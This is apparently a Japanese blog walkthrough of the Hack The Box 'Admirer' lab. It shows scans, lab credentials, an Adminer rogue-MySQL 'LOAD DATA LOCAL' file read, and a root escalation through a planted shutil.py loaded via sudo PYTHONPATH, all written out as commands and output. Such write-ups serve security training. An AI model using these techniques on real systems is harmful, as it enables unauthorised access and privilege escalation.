セキュリティ技術メモブログ

日々の活動を記録する場所

【Hack The Box】Admirer Walkthrough

はじめに

ポートスキャン

root@kali:~# nmap -sC -sV -Pn 10.10.10.187
Starting Nmap 7.80 ( https://nmap.org ) at 2020-09-12 21:49 JST
Nmap scan report for 10.10.10.187
Host is up (0.24s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
| ssh-hostkey: 
|   2048 4a:71:e9:21:63:69:9d:cb:dd:84:02:1a:23:97:e1:b9 (RSA)
|   256 c5:95:b6:21:4d:46:a4:25:55:7a:87:3e:19:a8:e7:02 (ECDSA)
|_  256 d0:2d:dd:d0:5c:42:f8:7b:31:5a:be:57:c4:a9:a7:56 (ED25519)
80/tcp open  http    Apache httpd 2.4.25 ((Debian))
| http-robots.txt: 1 disallowed entry 
|_/admin-dir
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: Admirer
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.77 seconds

21(ftp)、22(ssh)、80(http)が開いている。 ftpでのanonymousログオンは検出されていないため、80番ポートから見ていく。

80番ポート(http)の調査

ブラウザでアクセス

こんな画面。 f:id:Paichan:20201123015716p:plain

nmapの結果から、robots.txtを見に行く。 f:id:Paichan:20201123015743p:plain

/admin-dirにアクセスを試みるが、403が返ってくる。

ディレクトリスキャン

/admin-dirに対してディレクトリスキャンを行う。拡張子にはHTBでありがちなtxtとapacheだからphpを指定する。

root@kali:~# gobuster dir -u http://10.10.10.187/admin-dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php -t 100
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.10.187/admin-dir
[+] Threads:        100
[+] Wordlist:       /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:     txt,php
[+] Timeout:        10s
===============================================================
2020/09/12 22:44:21 Starting gobuster
===============================================================
/contacts.txt (Status: 200)
/credentials.txt (Status: 200)
===============================================================
2020/09/12 23:10:51 Finished
===============================================================

contacts.txtとcredentials.txtが気になる。

見つけたtxtファイルの確認

curlでローカルに持ってくる。

contacts.txt

root@kali:~/admirer# curl -O http://10.10.10.187/admin-dir/contacts.txt && cat contacts.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   350  100   350    0     0    738      0 --:--:-- --:--:-- --:--:--   738
##########
# admins #
##########
# Penny
Email: p.wise@admirer.htb


##############
# developers #
##############
# Rajesh
Email: r.nayyar@admirer.htb

# Amy
Email: a.bialik@admirer.htb

# Leonard
Email: l.galecki@admirer.htb



#############
# designers #
#############
# Howard
Email: h.helberg@admirer.htb

# Bernadette
Email: b.rauch@admirer.htb

ユーザ名とメールアドレスが書かれている。

credentials.txt

root@kali:~/admirer# curl -O http://10.10.10.187/admin-dir/credentials.txt && cat credentials.txt
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100   136  100   136    0     0    287      0 --:--:-- --:--:-- --:--:--   287
[Internal mail account]
w.cooper@admirer.htb
fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

各サービスのユーザ名、パスワードが書かれている。

ftp接続

credentials.txtから見つけたFTP accountでftp接続し、dump.sqlとhtml.tar.gzをローカルに持ってくる。

root@kali:~/admirer# ftp 10.10.10.187
Connected to 10.10.10.187.
220 (vsFTPd 3.0.3)
Name (10.10.10.187:root): ftpuser
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0            3405 Dec 02  2019 dump.sql
-rw-r--r--    1 0        0         5270987 Dec 03  2019 html.tar.gz
226 Directory send OK.
ftp> mget *
mget dump.sql? 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for dump.sql (3405 bytes).
226 Transfer complete.
3405 bytes received in 0.00 secs (19.3289 MB/s)
mget html.tar.gz? 
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for html.tar.gz (5270987 bytes).
226 Transfer complete.
5270987 bytes received in 9.73 secs (529.1583 kB/s)

ダウンロードしたファイルの確認

dump.sql

(多分)mysqldumpコマンドの実行結果。

html.tar.gz

解凍する。/utility-scripts/配下が気になる。

root@kali:~/admirer# mkdir html
root@kali:~/admirer# tar -zxf html.tar.gz -C html/
root@kali:~/admirer# tree
(snip)
├── html
│   ├── assets
│   │   ├── css
│   │   │   ├── fontawesome-all.min.css
│   │   │   ├── images
│   │   │   │   ├── arrow.svg
│   │   │   │   ├── close.svg
│   │   │   │   └── spinner.svg
│   │   │   ├── main.css
│   │   │   └── noscript.css
│   │   ├── js
│   │   │   ├── breakpoints.min.js
│   │   │   ├── browser.min.js
│   │   │   ├── jquery.min.js
│   │   │   ├── jquery.poptrox.min.js
│   │   │   ├── main.js
│   │   │   └── util.js
│   │   ├── sass
│   │   │   ├── base
│   │   │   │   ├── _page.scss
│   │   │   │   ├── _reset.scss
│   │   │   │   └── _typography.scss
│   │   │   ├── components
│   │   │   │   ├── _actions.scss
│   │   │   │   ├── _button.scss
│   │   │   │   ├── _form.scss
│   │   │   │   ├── _icon.scss
│   │   │   │   ├── _icons.scss
│   │   │   │   ├── _list.scss
│   │   │   │   ├── _panel.scss
│   │   │   │   ├── _poptrox-popup.scss
│   │   │   │   └── _table.scss
│   │   │   ├── layout
│   │   │   │   ├── _footer.scss
│   │   │   │   ├── _header.scss
│   │   │   │   ├── _main.scss
│   │   │   │   └── _wrapper.scss
│   │   │   ├── libs
│   │   │   │   ├── _breakpoints.scss
│   │   │   │   ├── _functions.scss
│   │   │   │   ├── _mixins.scss
│   │   │   │   ├── _vars.scss
│   │   │   │   └── _vendor.scss
│   │   │   ├── main.scss
│   │   │   └── noscript.scss
│   │   └── webfonts
│   │       ├── fa-brands-400.eot
│   │       ├── fa-brands-400.svg
│   │       ├── fa-brands-400.ttf
│   │       ├── fa-brands-400.woff
│   │       ├── fa-brands-400.woff2
│   │       ├── fa-regular-400.eot
│   │       ├── fa-regular-400.svg
│   │       ├── fa-regular-400.ttf
│   │       ├── fa-regular-400.woff
│   │       ├── fa-regular-400.woff2
│   │       ├── fa-solid-900.eot
│   │       ├── fa-solid-900.svg
│   │       ├── fa-solid-900.ttf
│   │       ├── fa-solid-900.woff
│   │       └── fa-solid-900.woff2
│   ├── images
│   │   ├── fulls
│   │   │   ├── arch01.jpg
│   │   │   ├── arch02.jpg
│   │   │   ├── art01.jpg
│   │   │   ├── art02.jpg
│   │   │   ├── eng01.jpg
│   │   │   ├── eng02.jpg
│   │   │   ├── mind01.jpg
│   │   │   ├── mind02.jpg
│   │   │   ├── mus01.jpg
│   │   │   ├── mus02.jpg
│   │   │   ├── nat01.jpg
│   │   │   └── nat02.jpg
│   │   └── thumbs
│   │       ├── thmb_arch01.jpg
│   │       ├── thmb_arch02.jpg
│   │       ├── thmb_art01.jpg
│   │       ├── thmb_art02.jpg
│   │       ├── thmb_eng01.jpg
│   │       ├── thmb_eng02.jpg
│   │       ├── thmb_mind01.jpg
│   │       ├── thmb_mind02.jpg
│   │       ├── thmb_mus01.jpg
│   │       ├── thmb_mus02.jpg
│   │       ├── thmb_nat01.jpg
│   │       └── thmb_nat02.jpg
│   ├── index.php
│   ├── robots.txt
│   ├── utility-scripts
│   │   ├── admin_tasks.php
│   │   ├── db_admin.php
│   │   ├── info.php
│   │   └── phptest.php
│   └── w4ld0s_s3cr3t_d1r
│       ├── contacts.txt
│       └── credentials.txt
(snip)

/utility-scriptsの中身探索

/utility-scripts/admin_task.php

データベースへの接続方法らしきものがある。

root@kali:~/admirer# cat html/utility-scripts/admin_tasks.php 
<html>
<head>
  <title>Administrative Tasks</title>
</head>
<body>
  <h3>Admin Tasks Web Interface (v0.01 beta)</h3>
  <?php
  // Web Interface to the admin_tasks script
  // 
  if(isset($_REQUEST['task']))
  {
    $task = $_REQUEST['task'];
    if($task == '1' || $task == '2' || $task == '3' || $task == '4' ||
       $task == '5' || $task == '6' || $task == '7')
    {
      /*********************************************************************************** 
         Available options:
           1) View system uptime
           2) View logged in users
           3) View crontab (current user only)
           4) Backup passwd file (not working)
           5) Backup shadow file (not working)
           6) Backup web data (not working)
           7) Backup database (not working)

           NOTE: Options 4-7 are currently NOT working because they need root privileges.
                 I'm leaving them in the valid tasks in case I figure out a way
                 to securely run code as root from a PHP page.
      ************************************************************************************/
      echo str_replace("\n", "<br />", shell_exec("/opt/scripts/admin_tasks.sh $task 2>&1"));
    }
    else
    {
      echo("Invalid task.");
    }
  } 
  ?>

  <p>
  <h4>Select task:</p>
  <form method="POST">
    <select name="task">
      <option value=1>View system uptime</option>
      <option value=2>View logged in users</option>
      <option value=3>View crontab</option>
      <option value=4 disabled>Backup passwd file</option>
      <option value=5 disabled>Backup shadow file</option>
      <option value=6 disabled>Backup web data</option>
      <option value=7 disabled>Backup database</option>
    </select>
    <input type="submit">
  </form>
</body>
</html>

画面はこんな感じ。 f:id:Paichan:20201123020344p:plain

db_admin.php

認証情報らしきものを発見。

root@kali:~/admirer# cat html/utility-scripts/db_admin.php 
<?php
  $servername = "localhost";
  $username = "waldo";
  $password = "Wh3r3_1s_w4ld0?";

  // Create connection
  $conn = new mysqli($servername, $username, $password);

  // Check connection
  if ($conn->connect_error) {
      die("Connection failed: " . $conn->connect_error);
  }
  echo "Connected successfully";


  // TODO: Finish implementing this or find a better open source alternative
?>

ここで発見したアカウントでssh接続試行したが、失敗した。

Adminerに関する調査

マシン名からして、adminerが使われていることが予想できる。(名前だけは知っていた)
adminerとは、phpMyAdminのようなデータベース管理ツール。
以下の参考サイトより、adminerの管理画面にアクセスするためには、adminer.phpにアクセスすれば良いとのことが分かる。
Adminer インストール|Zenlogicサポートサイト[IDCフロンティア]

http://10.10.10.187/utility-scripts/adminer.phpにアクセスすると、以下のようなログイン画面が表示された。Adminerのバージョンも4.6.2と判明する。 f:id:Paichan:20201123233828p:plain ユーザ名、パスワードの候補は上述の通りいくつかあるが、データベース名が見当つかず、ログインはできない。

adminerの脆弱性について調べる

root@kali:~/admirer# searchsploit adminer 4
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                         |  Path
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Adminer 4.3.1 - Server-Side Request Forgery                                                                                                                            | php/webapps/43593.txt
----------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

使えそうなものはなかったため、インターネットでadminer 4.6 exploitで検索すると、一番上に以下のサイトが見つかる。
Serious Vulnerability Discovered in Adminer database Administration Tool

二番目には脆弱性を突く手順を動画付きで解説しているページが見つかる。 Serious Vulnerability Discovered in Adminer database Administration Tool

脆弱性を突く

手順に沿って進めていく。

First

まず、攻撃者は被害者のAdminerインスタンスにアクセスしますが、被害者のMySQLデータベースに接続しようとするのではなく、自分のサーバーでホストされている自分のMySQLデータベースに「戻る」ように接続します。

root@kali:~/admirer# systemctl mysql start
root@kali:~/admirer# mysql -u root
MariaDB [(none)]> create database hack;
MariaDB [(none)]> use hack;
MariaDB [hack]> create table hack_table1(data varchar(10000));
MariaDB [hack]> create user user1 identified by 'user1password';

外部から接続できるように/etc/mysql/mariadb.conf.d/50-server.cnfbind-addressを変更し、サービスを再起動。

root@kali:~/admirer# cat /etc/mysql/mariadb.conf.d/50-server.cnf | grep bind-address
bind-address            = 0.0.0.0
root@kali:~/admirer# systemctl restart mysql

攻撃側のIPアドレスを指定し、接続試行。 f:id:Paichan:20201229003916p:plain ログインできたが、「不正なデータベース」と表示される。 f:id:Paichan:20201229003927p:plain 調べると、作成したユーザの権限はデフォルトでは何もない状態なので、それが原因かも。

MariaDB [(none)]> show grants for user1;
+------------------------------------------------------------------------------------------------------+
| Grants for user1@%                                                                                   |
+------------------------------------------------------------------------------------------------------+
| GRANT USAGE ON *.* TO `user1`@`%` IDENTIFIED BY PASSWORD '*110F5A4519AE120878960E635D8CFCBFAED6C618' |
+------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)

USAGE という権限が設定されている。USAGE という権限は「何も権限がない」という権限とのこと。全部の権限を付与。

MariaDB [(none)]> GRANT ALL ON *.* TO user1@'%' IDENTIFIED BY 'user1password';
Query OK, 0 rows affected (0.000 sec)
MariaDB [(none)]> show grants for user1;
+---------------------------------------------------------------------------------------------------------------+
| Grants for user1@%                                                                                            |
+---------------------------------------------------------------------------------------------------------------+
| GRANT ALL PRIVILEGES ON *.* TO `user1`@`%` IDENTIFIED BY PASSWORD '*110F5A4519AE120878960E635D8CFCBFAED6C618' |
+---------------------------------------------------------------------------------------------------------------+
1 row in set (0.000 sec)
root@kali:~/admirer# systemctl restart mysql

行けた。 f:id:Paichan:20201229004037p:plain

Second

第二に、被害者の Adminer (自分のデータベースに接続されている) を使用して、被害者のサーバー上のローカルファイルを指定して、MySQL コマンド 'LOAD DATA LOCAL' を使用します。このコマンドは、Adminer インスタンスのローカルファイルからデータベースにデータをロードするために使用されます。

load data local infile '../index.php'
into table hack_table1
fields terminated by "\n"

実行後、「選択」をクリックするとwaldoのパスワードを発見。 f:id:Paichan:20201229004113p:plain

$servername = "localhost";
$username = "waldo";
$password = "&<h5b~yK3F#{PaPB&dA}{H>";
$dbname = "admirerdb";

userシェル奪取

この認証情報をつかってssh接続。

root@kali:~/admirer# ssh waldo@10.10.10.187
waldo@10.10.10.187's password: 
Linux admirer 4.9.0-12-amd64 x86_64 GNU/Linux

The programs included with the Devuan GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Devuan GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
You have new mail.
Last login: Wed Apr 29 10:56:59 2020 from 10.10.14.3
waldo@admirer:~$ ls
user.txt
waldo@admirer:~$ cat user.txt
XXXXXXXXXXXX

権限昇格のための情報収集

sudoの実行権限確認

waldo@admirer:~$ sudo -l
[sudo] password for waldo: 
Matching Defaults entries for waldo on admirer:
    env_reset, env_file=/etc/sudoenv, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, listpw=always

User waldo may run the following commands on admirer:
    (ALL) SETENV: /opt/scripts/admin_tasks.sh

waldoはadminsグループに属しているので、admin_tasks.shが実行できるようだ。

waldo@admirer:/home$ ls -l /opt/scripts/admin_tasks.sh 
-rwxr-xr-x 1 root admins 2613 Dec  2  2019 /opt/scripts/admin_tasks.sh
waldo@admirer:/home$ id
uid=1000(waldo) gid=1000(waldo) groups=1000(waldo),1001(admins)

admin_tasks.shは以下。

waldo@admirer:~$ cat /opt/scripts/admin_tasks.sh 
#!/bin/bash
view_uptime()
(snip)
view_users()
(snip)
view_crontab()
(snip)
backup_passwd()
(snip)
backup_shadow()
(snip)
backup_web()
{
    if [ "$EUID" -eq 0 ]
    then
        echo "Running backup script in the background, it might take a while..."
        /opt/scripts/backup.py & ★
    else
        echo "Insufficient privileges to perform the selected operation."
    fi
}
backup_db()
(snip)
echo "[[[ System Administration Menu ]]]"
PS3="Choose an option: "
COLUMNS=11
select opt in "${options[@]}"; do
    case $REPLY in
        1) view_uptime ; break ;;
        2) view_users ; break ;;
        3) view_crontab ; break ;;
        4) backup_passwd ; break ;;
        5) backup_shadow ; break ;;
        6) backup_web ; break ;;
        7) backup_db ; break ;;
        8) echo "Bye!" ; break ;;
        *) echo "Unknown option." >&2
    esac
done
exit 0

6) backup_webを選択したときに、/opt/scripts/backup.pyが実行されるようだ。
/opt/scripts/backup.pyは以下。

waldo@admirer:~$ cat /opt/scripts/backup.py 
#!/usr/bin/python3
from shutil import make_archive ★
src = '/var/www/html/'
# old ftp directory, not used anymore
#dst = '/srv/ftp/html'
dst = '/var/backups/html'
make_archive(dst, 'gztar', src) ★

shutilライブラリから、make_archiveを実行している。
pip show shutilでライブラリがあるpathを調べるがpip入っていなかった。pipでいれたライブラリではない。別のスクリプトからimportしていると判断。

>>> import shutil
>>> print shutil.__file__
/usr/lib/python2.7/shutil.pyc ★

参考:https://www.lifewithpython.com/2014/07/python-get-location-of-libraries-modules-packages.html
pythonが見に行くライブラリ保存場所を確認。

>>> import sys
>>> import pprint
>>> pprint.pprint(sys.path)
['',
 '/usr/lib/python2.7', ★←ここにshutilがある
 '/usr/lib/python2.7/plat-x86_64-linux-gnu',
 '/usr/lib/python2.7/lib-tk',
 '/usr/lib/python2.7/lib-old',
 '/usr/lib/python2.7/lib-dynload',
 '/usr/local/lib/python2.7/dist-packages',
 '/usr/lib/python2.7/dist-packages']

上記7この場所を読み取っていることが分かる。。 tmp配下にshutil.pyを作成し、PYTHONPATHの優先順位を変える。
以下のようなshutil.pyを/tmp/hackに置く。

waldo@admirer:/tmp/hack$ cat shutil.py 
import os
def make_archive(a, b, c):
        os.system("cp /root/root.txt /tmp/hack/root.txt; chmod 777 root.txt")

admin_task.shを実行して完。

waldo@admirer:/tmp/hack$ sudo PYTHONPATH=/tmp/hack /opt/scripts/admin_tasks.sh 
[[[ System Administration Menu ]]]
1) View system uptime
2) View logged in users
3) View crontab
4) Backup passwd file
5) Backup shadow file
6) Backup web data
7) Backup DB
8) Quit
Choose an option: 6
Running backup script in the background, it might take a while...
waldo@admirer:/tmp/hack$ cat root.txt 
XXXXXXXXXXXXXXXXXXXXXXXXXXXX

参考:Python Tips:ライブラリ・モジュールの場所を調べたい - Life with Python